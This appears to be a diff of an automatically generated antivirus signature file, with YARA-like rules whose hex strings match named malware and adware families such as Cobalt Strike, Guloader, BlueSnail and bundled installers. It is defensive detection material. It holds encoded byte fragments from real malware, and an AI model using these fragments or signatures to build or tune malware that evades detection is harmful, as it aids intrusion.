@@ rule _InfrastructureShared_13653{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*25971+(#a_48_4 & 1)*8448+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1) >=7 } -rule _InfrastructureShared_13654{ +rule _InfrastructureShared_14555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 46 52 21 4d 54 42 00 01 00 0b 80 01 58 4f 52 5f 44 65 63 72 79 70 74 01 00 0d 80 01 49 53 65 63 74 69 6f 6e 45 6e 74 72 79 01 00 06 80 01 73 61 64 61 64 61 01 00 13 80 01 } //18467 - $a_5f_1 = {65 73 74 72 69 63 74 65 64 45 72 72 6f 72 01 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f 72 01 00 1c 80 01 48 65 62 72 65 77 4e 75 6d 62 65 72 50 61 72 73 69 6e 67 2e 43 75 73 74 41 74 74 72 01 00 15 80 01 54 61 73 6b 43 61 6e 63 65 6c 65 64 45 78 63 65 70 74 69 6f 6e 00 00 78 c7 00 00 07 00 07 00 07 00 21 23 50 55 41 3a 42 } //25959 - $a_6b_2 = {44 6f 74 42 75 6e 64 6c 65 72 00 01 00 1a 80 01 53 44 4b 41 50 49 49 6d 70 6c 3a 3a 73 65 74 4f 66 66 65 72 57 69 6e 64 6f 77 01 00 15 80 01 53 44 4b 41 50 49 49 6d 70 6c 3a 3a 73 68 6f 77 4f 66 66 65 72 01 00 10 80 01 61 64 73 64 6b 20 20 73 68 6f 77 4f 66 66 65 72 01 00 11 80 01 64 6f 77 6e 6c } //28524 - $a_5f_3 = {65 74 4f 66 66 65 72 01 00 14 80 01 64 6f 77 6e 6c 6f 61 64 5f 61 63 63 65 70 74 4f 66 66 65 72 01 00 0f 80 01 44 6f 74 53 65 74 75 70 53 44 4b 2e 64 6c 6c 01 00 12 80 01 4c 44 50 6c 61 79 65 72 20 49 6e 73 74 61 6c 6c 65 72 00 00 78 c7 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 } //24943 - $a_3a_4 = {69 6e 33 32 2f 47 6f 6d 5f 50 6c 61 79 65 72 2e 4d 4b 00 01 00 06 80 01 4f 66 66 65 72 73 01 00 0c 80 01 50 61 67 65 4f 66 66 65 72 55 72 6c 01 00 0e 80 01 50 72 65 73 65 6e 74 4f 66 66 65 72 28 29 01 00 0c 80 01 61 63 74 69 76 65 5f 6f 66 66 65 72 01 00 22 80 01 41 63 63 65 70 74 4f 66 66 65 72 57 69 74 68 53 65 70 61 72 61 74 65 49 6e 73 } //25964 - $a_6c_5 = {72 28 29 01 00 13 80 01 49 6e 73 74 61 6c 6c 53 65 63 74 69 6f 6e 4f 66 66 65 72 01 00 0a 80 01 47 4f 4d 20 50 6c 61 79 65 72 01 00 07 80 01 47 6f 6d 2e 69 6e 69 00 00 78 c7 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 59 32 56 3a 5f 4b 65 76 69 6e 5f 42 72 65 65 6e 5f 6b 65 76 69 6e 5f 74 65 63 68 61 6e 61 72 63 68 79 5f 6e } //24948 - $a_2f_6 = {72 65 61 6d 65 00 01 00 1c 03 23 40 23 23 23 23 e8 ee e9 f9 23 23 23 23 40 23 23 23 23 90 0a 16 00 23 23 23 90 00 01 00 1d 03 23 40 23 23 23 23 fa fd f0 ef f9 23 23 23 23 40 23 23 23 23 90 0a 17 00 23 23 23 90 00 01 00 07 01 45 64 69 74 53 76 72 01 00 07 01 54 4c 6f 61 64 65 72 01 00 } //29797 + $a_5f_1 = {65 73 74 72 69 63 74 65 64 45 72 72 6f 72 01 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f 72 01 00 1c 80 01 48 65 62 72 65 77 4e 75 6d 62 65 72 50 61 72 73 69 6e 67 2e 43 75 73 74 41 74 74 72 01 00 15 80 01 54 61 73 6b 43 61 6e 63 65 6c 65 64 45 78 63 65 70 74 69 6f 6e 00 00 78 c7 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a } //25959 + $a_33_2 = {2f 47 75 6c 6f 61 64 65 72 2e 4c 4e 56 30 31 21 4d 54 42 00 01 00 13 81 01 77 68 69 73 6b 79 73 6a 75 73 73 65 72 6e 65 2e 69 6e 69 01 00 16 81 01 6c 69 6e 6e 65 20 6b 6f 72 61 6c 6c 61 67 65 74 73 20 72 69 61 73 01 00 1d 81 01 70 69 70 69 20 74 6f 70 61 72 74 73 66 6f 72 68 61 6e 64 6c 69 6e 67 65 6e 2e 65 78 65 01 00 0a 81 01 } //26967 + $a_69_3 = {73 2e 61 70 72 01 00 11 81 01 54 69 6c 67 72 69 73 65 6e 64 65 73 36 2e 68 79 70 01 00 0c 81 01 52 68 65 73 69 73 38 34 2e 66 65 6d 01 00 0f 81 01 65 6c 6c 69 70 73 6f 69 64 65 72 2e 6a 70 67 00 00 78 c7 00 00 07 00 07 00 07 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 44 6f 74 42 75 6e 64 6c 65 72 00 01 00 1a 80 01 53 44 4b 41 50 49 49 6d 70 6c 3a 3a } //28277 + $a_4f_4 = {66 65 72 57 69 6e 64 6f 77 01 00 15 80 01 53 44 4b 41 50 49 49 6d 70 6c 3a 3a 73 68 6f 77 4f 66 66 65 72 01 00 10 80 01 61 64 73 64 6b 20 20 73 68 6f 77 4f 66 66 65 72 01 00 11 80 01 64 6f 77 6e 6c 6f 61 64 5f 67 65 74 4f 66 66 65 72 01 00 14 80 01 64 6f 77 6e 6c 6f 61 64 5f 61 63 63 65 70 74 4f 66 66 65 72 01 00 0f 80 01 44 6f 74 53 65 74 75 70 } //25971 + $a_2e_5 = {6c 6c 01 00 12 80 01 4c 44 50 6c 61 79 65 72 20 49 6e 73 74 61 6c 6c 65 72 00 00 78 c7 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 47 6f 6d 5f 50 6c 61 79 65 72 2e 4d 4b 00 01 } //17491 + $a_01_6 = {4f 66 66 65 72 73 01 00 0c 80 01 50 61 67 65 4f 66 66 65 72 55 72 6c 01 00 0e 80 01 50 72 65 73 65 6e 74 4f 66 66 65 72 28 29 01 00 0c 80 01 61 63 74 69 76 65 5f 6f 66 66 65 72 01 00 22 80 01 41 63 63 65 70 74 4f 66 66 65 72 57 69 74 68 53 65 70 61 72 61 74 65 49 6e 73 74 61 6c 6c 65 72 28 29 01 00 13 80 01 49 6e 73 74 61 6c 6c 53 65 63 74 69 6f 6e 4f 66 66 65 72 01 00 0a 80 01 47 } //1536 condition: - ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*25959+(#a_6b_2 & 1)*28524+(#a_5f_3 & 1)*24943+(#a_3a_4 & 1)*25964+(#a_6c_5 & 1)*24948+(#a_2f_6 & 1)*29797) >=7 + ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*25959+(#a_33_2 & 1)*26967+(#a_69_3 & 1)*28277+(#a_4f_4 & 1)*25971+(#a_2e_5 & 1)*17491+(#a_01_6 & 1)*1536) >=7 } -rule _InfrastructureShared_13655{ +rule _InfrastructureShared_14556{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 4e 56 30 31 21 4d 54 42 00 01 00 13 81 01 77 68 69 73 6b 79 73 6a 75 73 73 65 72 6e 65 2e 69 6e 69 01 00 16 81 01 6c 69 6e 6e 65 20 6b 6f 72 61 6c 6c 61 67 65 74 73 20 72 69 61 73 01 00 1d 81 01 70 } //18467 + $a_20_1 = {6f 70 61 72 74 73 66 6f 72 68 61 6e 64 6c 69 6e 67 65 6e 2e 65 78 65 01 00 0a 81 01 75 6e 74 69 65 73 2e 61 70 72 01 00 11 81 01 54 69 6c 67 72 69 73 65 6e 64 65 73 36 2e 68 79 70 01 00 0c 81 01 52 68 65 73 69 73 38 34 2e 66 65 6d 01 00 0f 81 01 65 6c 6c 69 70 73 6f 69 64 65 72 2e 6a 70 67 00 00 78 c7 00 00 07 00 } //28777 + $a_00_2 = {21 23 50 55 41 3a 42 } //7 !#PUA:B + $a_6b_3 = {44 6f 74 42 75 6e 64 6c 65 72 00 01 00 1a 80 01 53 44 4b 41 50 49 49 6d 70 6c 3a 3a 73 65 74 4f 66 66 65 72 57 69 6e 64 6f 77 01 00 15 80 01 53 44 4b 41 50 49 49 6d 70 6c 3a 3a 73 68 6f 77 4f 66 66 65 72 01 00 10 80 01 61 64 73 64 6b 20 20 73 68 6f 77 4f 66 66 65 72 01 00 11 80 01 64 6f 77 6e 6c } //28524 + $a_5f_4 = {65 74 4f 66 66 65 72 01 00 14 80 01 64 6f 77 6e 6c 6f 61 64 5f 61 63 63 65 70 74 4f 66 66 65 72 01 00 0f 80 01 44 6f 74 53 65 74 75 70 53 44 4b 2e 64 6c 6c 01 00 12 80 01 4c 44 50 6c 61 79 65 72 20 49 6e 73 74 61 6c 6c 65 72 00 00 78 c7 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 } //24943 + $a_3a_5 = {69 6e 33 32 2f 47 6f 6d 5f 50 6c 61 79 65 72 2e 4d 4b 00 01 00 06 80 01 4f 66 66 65 72 73 01 00 0c 80 01 50 61 67 65 4f 66 66 65 72 55 72 6c 01 00 0e 80 01 50 72 65 73 65 6e 74 4f 66 66 65 72 28 29 01 00 0c 80 01 61 63 74 69 76 65 5f 6f 66 66 65 72 01 00 22 80 01 41 63 63 65 70 74 4f 66 66 65 72 57 69 74 68 53 65 70 61 72 61 74 65 49 6e 73 } //25964 + $a_6c_6 = {72 28 29 01 00 13 80 01 49 6e 73 74 61 6c 6c 53 65 63 74 69 6f 6e 4f 66 66 65 72 01 00 0a 80 01 47 4f 4d 20 50 6c 61 79 65 72 01 00 07 80 01 47 6f 6d 2e 69 6e 69 00 00 78 c7 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 59 32 56 3a 5f 4b 65 76 69 6e 5f 42 72 65 65 6e 5f 6b 65 76 69 6e 5f 74 65 63 68 61 6e 61 72 63 68 79 5f 6e } //24948 + condition: + ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*28777+(#a_00_2 & 1)*7+(#a_6b_3 & 1)*28524+(#a_5f_4 & 1)*24943+(#a_3a_5 & 1)*25964+(#a_6c_6 & 1)*24948) >=7 + +} +rule _InfrastructureShared_14557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -154583,7 +164967,7 @@ rule _InfrastructureShared_13655{ ((#a_41_0 & 1)*20515+(#a_6f_1 & 1)*29472+(#a_3a_3 & 1)*19521+(#a_65_4 & 1)*26191+(#a_2e_5 & 1)*28487+(#a_ef_6 & 1)*-518) >=7 } -rule _InfrastructureShared_13656{ +rule _InfrastructureShared_14558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -154598,7 +164982,7 @@ rule _InfrastructureShared_13656{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*10536+(#a_63_2 & 1)*384+(#a_00_5 & 1)*8+(#a_3a_6 & 1)*12889+(#a_23_7 & 1)*-4112) >=8 } -rule _InfrastructureShared_13657{ +rule _InfrastructureShared_14559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -154614,7 +164998,7 @@ rule _InfrastructureShared_13657{ ((#a_46_0 & 1)*16675+(#a_23_2 & 1)*7424+(#a_f0_3 & 1)*-1501+(#a_75_4 & 1)*8307+(#a_65_5 & 1)*28534+(#a_24_6 & 1)*9332+(#a_00_7 & 1)*14392) >=8 } -rule _InfrastructureShared_13658{ +rule _InfrastructureShared_14560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -154631,7 +165015,7 @@ rule _InfrastructureShared_13658{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*27756+(#a_52_2 & 1)*21320+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=8 } -rule _InfrastructureShared_13659{ +rule _InfrastructureShared_14561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -154648,7 +165032,7 @@ rule _InfrastructureShared_13659{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*26212+(#a_77_2 & 1)*385+(#a_2f_3 & 1)*18771+(#a_6f_4 & 1)*29550+(#a_53_5 & 1)*8993+(#a_6b_6 & 1)*30058+(#a_00_7 & 1)*30720) >=8 } -rule _InfrastructureShared_13660{ +rule _InfrastructureShared_14562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -154665,7 +165049,7 @@ rule _InfrastructureShared_13660{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_c7_7 & 1)*0) >=8 } -rule _InfrastructureShared_13661{ +rule _InfrastructureShared_14563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -154681,7 +165065,7 @@ rule _InfrastructureShared_13661{ ((#a_54_0 & 1)*18467+(#a_69_2 & 1)*29441+(#a_3a_3 & 1)*21587+(#a_72_4 & 1)*28531+(#a_6e_5 & 1)*16997+(#a_32_6 & 1)*29795+(#a_42_7 & 1)*19745) >=8 } -rule _InfrastructureShared_13662{ +rule _InfrastructureShared_14564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 09 00 21 " @@ -154698,7 +165082,7 @@ rule _InfrastructureShared_13662{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*29541+(#a_74_2 & 1)*28499+(#a_65_3 & 1)*12144+(#a_00_4 & 1)*21581+(#a_6e_5 & 1)*28003+(#a_23_6 & 1)*6+(#a_62_8 & 1)*23553) >=8 } -rule _InfrastructureShared_13663{ +rule _InfrastructureShared_14565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " @@ -154710,7 +165094,7 @@ rule _InfrastructureShared_13663{ ((#a_66_0 & 1)*21283+(#a_00_1 & 1)*105+(#a_5c_2 & 1)*26113) >=10 } -rule _InfrastructureShared_13664{ +rule _InfrastructureShared_14566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 21 " @@ -154724,7 +165108,7 @@ rule _InfrastructureShared_13664{ ((#a_54_0 & 1)*18467+(#a_01_2 & 1)*3328+(#a_65_3 & 1)*28261+(#a_4f_4 & 1)*21573+(#a_4c_5 & 1)*8993) >=10 } -rule _InfrastructureShared_13665{ +rule _InfrastructureShared_14567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 06 00 21 " @@ -154739,7 +165123,7 @@ rule _InfrastructureShared_13665{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*18015+(#a_45_2 & 1)*21855+(#a_6b_3 & 1)*29537+(#a_67_4 & 1)*25189+(#a_7e_5 & 1)*9634) >=12 } -rule _InfrastructureShared_13666{ +rule _InfrastructureShared_14568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 06 00 21 " @@ -154753,7 +165137,7 @@ rule _InfrastructureShared_13666{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*23132+(#a_00_2 & 1)*28518+(#a_7e_3 & 1)*9634+(#a_79_5 & 1)*384) >=14 } -rule _InfrastructureShared_13667{ +rule _InfrastructureShared_14569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 06 00 21 " @@ -154767,7 +165151,7 @@ rule _InfrastructureShared_13667{ ((#a_54_0 & 1)*18467+(#a_a2_1 & 1)*28675+(#a_00_3 & 1)*116+(#a_72_4 & 1)*28514+(#a_77_5 & 1)*17518) >=20 } -rule _InfrastructureShared_13668{ +rule _InfrastructureShared_14570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 07 00 21 " @@ -154782,7 +165166,7 @@ rule _InfrastructureShared_13668{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*6400+(#a_65_2 & 1)*8313+(#a_01_3 & 1)*1+(#a_c7_4 & 1)*0+(#a_01_6 & 1)*10) >=26 } -rule _InfrastructureShared_13669{ +rule _InfrastructureShared_14571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,47 00 47 00 04 00 21 " @@ -154794,7 +165178,7 @@ rule _InfrastructureShared_13669{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*105+(#a_4c_3 & 1)*8993) >=71 } -rule _InfrastructureShared_13670{ +rule _InfrastructureShared_14572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -154805,7 +165189,7 @@ rule _InfrastructureShared_13670{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116) >=400 } -rule _InfrastructureShared_13671{ +rule _InfrastructureShared_14573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -154815,7 +165199,17 @@ rule _InfrastructureShared_13671{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_13672{ +rule _InfrastructureShared_14574{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 54 50 43 21 4d 54 42 00 01 00 94 03 c7 45 bf 78 00 36 00 48 8d 4d bf 66 89 45 d3 c7 45 c3 34 00 64 00 c7 45 c7 62 00 67 00 c7 45 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_14575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -154826,7 +165220,7 @@ rule _InfrastructureShared_13672{ ((#a_46_0 & 1)*21283+(#a_fc_1 & 1)*-30399) >=1 } -rule _InfrastructureShared_13673{ +rule _InfrastructureShared_14576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -154838,7 +165232,7 @@ rule _InfrastructureShared_13673{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*101+(#a_54_3 & 1)*21076) >=1 } -rule _InfrastructureShared_13674{ +rule _InfrastructureShared_14577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -154852,7 +165246,7 @@ rule _InfrastructureShared_13674{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-31095+(#a_01_2 & 1)*-28603+(#a_c7_3 & 1)*25646+(#a_45_4 & 1)*11892) >=1 } -rule _InfrastructureShared_13675{ +rule _InfrastructureShared_14578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -154866,7 +165260,7 @@ rule _InfrastructureShared_13675{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-28603+(#a_c7_2 & 1)*12851+(#a_01_3 & 1)*-28603+(#a_c7_4 & 1)*29797) >=1 } -rule _InfrastructureShared_13676{ +rule _InfrastructureShared_14579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -154877,7 +165271,7 @@ rule _InfrastructureShared_13676{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25972) >=2 } -rule _InfrastructureShared_13677{ +rule _InfrastructureShared_14580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -154888,7 +165282,7 @@ rule _InfrastructureShared_13677{ ((#a_54_0 & 1)*18467+(#a_06_1 & 1)*-25083) >=2 } -rule _InfrastructureShared_13678{ +rule _InfrastructureShared_14581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -154898,7 +165292,7 @@ rule _InfrastructureShared_13678{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_13679{ +rule _InfrastructureShared_14582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -154908,7 +165302,7 @@ rule _InfrastructureShared_13679{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_13680{ +rule _InfrastructureShared_14583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -154919,7 +165313,23 @@ rule _InfrastructureShared_13680{ ((#a_4c_0 & 1)*21539+(#a_89_1 & 1)*1025) >=2 } -rule _InfrastructureShared_13681{ +rule _InfrastructureShared_14584{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 6c 75 65 53 6e 61 69 6c 2e 46 21 64 68 61 00 01 00 12 80 01 2f 61 70 69 2f 66 69 6c 65 2f 6c 69 73 74 2d 64 69 72 01 00 12 80 01 2f 61 70 69 2f 66 69 6c 65 2f 70 75 74 2d 66 69 6c 65 01 } //16675 + $a_01_1 = {2f 61 70 69 2f 66 69 6c 65 2f 73 74 61 74 01 00 12 80 01 2f 61 70 69 2f 66 69 6c 65 2f 73 6c 69 63 65 2d 75 70 01 00 12 80 01 2f 61 70 69 2f 66 69 6c 65 2f 66 69 6c 65 2d 6d 64 35 01 00 15 80 01 2f 61 70 69 2f 66 69 6c 65 2f 64 65 6c 65 74 65 2d 66 69 6c 65 01 00 0f 80 01 2f 61 70 69 2f 66 69 6c 65 2f 6d 6b 64 69 72 00 00 78 c8 00 00 03 00 03 00 03 00 21 23 50 55 41 3a 42 6c 6f 63 } //3584 + $a_61_2 = {6c 52 75 42 61 72 00 01 00 54 01 2e 00 6d 00 61 00 69 00 6c 00 2e 00 72 00 75 00 5c 00 74 00 72 00 75 00 6e 00 6b 00 5c 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 65 00 72 00 5c 00 70 00 61 00 72 00 74 00 6e 00 65 00 72 00 } //14955 + $a_00_3 = {61 00 74 00 61 00 2e 00 68 00 70 00 70 00 01 00 1c 01 3f 41 56 70 61 72 74 6e 65 72 5f 66 69 6c 65 73 6d 61 69 6c 72 75 40 61 70 70 40 40 01 00 2e 01 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 2f 00 4d 00 61 00 69 00 6c 00 2e 00 52 00 75 00 2f 00 49 00 45 00 5f 00 42 00 61 00 72 00 00 00 78 c8 } //95 + $a_00_4 = {03 00 03 } //0 + $a_53_5 = {46 3a 57 69 6e 36 34 2f 53 63 61 72 65 43 72 6f 77 2e 44 00 01 00 2b 03 81 38 31 30 2e 30 75 90 02 40 66 } //8448 + $a_2e_6 = {90 01 01 80 78 02 33 75 90 02 40 66 81 f9 36 2e 75 90 01 01 80 78 02 32 75 90 00 01 00 4c 03 66 89 0c 24 48 c7 44 24 08 ff ff ff ff 44 0f 11 7c 24 90 02 06 48 89 } //-1663 + condition: + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*3584+(#a_61_2 & 1)*14955+(#a_00_3 & 1)*95+(#a_00_4 & 1)*0+(#a_53_5 & 1)*8448+(#a_2e_6 & 1)*-1663) >=2 + +} +rule _InfrastructureShared_14585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -154930,7 +165340,7 @@ rule _InfrastructureShared_13681{ ((#a_41_0 & 1)*20515+(#a_00_2 & 1)*97) >=3 } -rule _InfrastructureShared_13682{ +rule _InfrastructureShared_14586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -154942,7 +165352,7 @@ rule _InfrastructureShared_13682{ ((#a_46_0 & 1)*21283+(#a_ff_1 & 1)*2084+(#a_00_2 & 1)*14593) >=3 } -rule _InfrastructureShared_13683{ +rule _InfrastructureShared_14587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -154954,7 +165364,7 @@ rule _InfrastructureShared_13683{ ((#a_46_0 & 1)*16675+(#a_0a_1 & 1)*400+(#a_01_2 & 1)*-8956) >=4 } -rule _InfrastructureShared_13684{ +rule _InfrastructureShared_14588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -154967,7 +165377,7 @@ rule _InfrastructureShared_13684{ ((#a_46_0 & 1)*16675+(#a_a2_1 & 1)*-16333+(#a_fc_2 & 1)*-30302+(#a_c8_3 & 1)*0) >=4 } -rule _InfrastructureShared_13685{ +rule _InfrastructureShared_14589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -154980,7 +165390,7 @@ rule _InfrastructureShared_13685{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29301+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720) >=4 } -rule _InfrastructureShared_13686{ +rule _InfrastructureShared_14590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -154993,7 +165403,7 @@ rule _InfrastructureShared_13686{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 } -rule _InfrastructureShared_13687{ +rule _InfrastructureShared_14591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -155005,7 +165415,7 @@ rule _InfrastructureShared_13687{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30578+(#a_65_2 & 1)*21505) >=4 } -rule _InfrastructureShared_13688{ +rule _InfrastructureShared_14592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -155016,7 +165426,7 @@ rule _InfrastructureShared_13688{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*47) >=4 } -rule _InfrastructureShared_13689{ +rule _InfrastructureShared_14593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -155030,7 +165440,7 @@ rule _InfrastructureShared_13689{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*29550+(#a_48_2 & 1)*8448+(#a_01_3 & 1)*-28587+(#a_01_4 & 1)*-28541) >=4 } -rule _InfrastructureShared_13690{ +rule _InfrastructureShared_14594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -155044,22 +165454,39 @@ rule _InfrastructureShared_13690{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*400+(#a_01_2 & 1)*-28541+(#a_00_3 & 1)*0+(#a_66_4 & 1)*-6207) >=4 } -rule _InfrastructureShared_13691{ +rule _InfrastructureShared_14595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 6f 72 61 63 65 66 69 67 2e 41 21 64 68 61 00 01 00 16 01 32 c2 66 0f b6 d2 66 c1 e7 08 66 0b fa 66 33 7c 24 14 88 44 24 0d 02 00 25 03 0f b7 04 75 90 01 04 66 8b 14 75 90 01 04 8b 0d 90 01 04 66 33 d1 8b } //18467 - $a_66_1 = {d3 0f b7 d2 8d 5a ff 90 00 01 00 13 03 80 7c 24 18 76 0f 85 90 01 04 80 7c 24 19 64 0f 85 90 00 01 00 10 00 3a 2f 2f 25 73 2f 25 35 2e 35 64 2e 68 74 6d 6c 01 00 0c 00 44 69 72 20 25 64 6b 20 28 25 64 29 01 00 0a 00 44 45 4c 45 54 45 2d 54 43 42 01 00 0c 00 76 76 3b 65 78 70 69 72 65 73 20 3d 00 00 78 c8 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 52 54 21 4d 54 42 00 01 00 0f 80 01 52 65 67 44 65 6c 65 74 65 4b 65 79 45 78 57 01 00 18 80 01 55 6e 52 65 67 69 73 74 65 72 54 79 70 65 4c 69 62 46 6f 72 55 73 65 72 01 00 38 80 01 44 3a 5c 43 42 5c 41 52 4d 5f 4d 61 69 6e 5c 42 } //13272 - $a_64_2 = {65 73 75 6c 74 73 5c 62 69 6e 5c 57 69 6e 33 32 5c 52 65 6c 65 61 73 65 5c 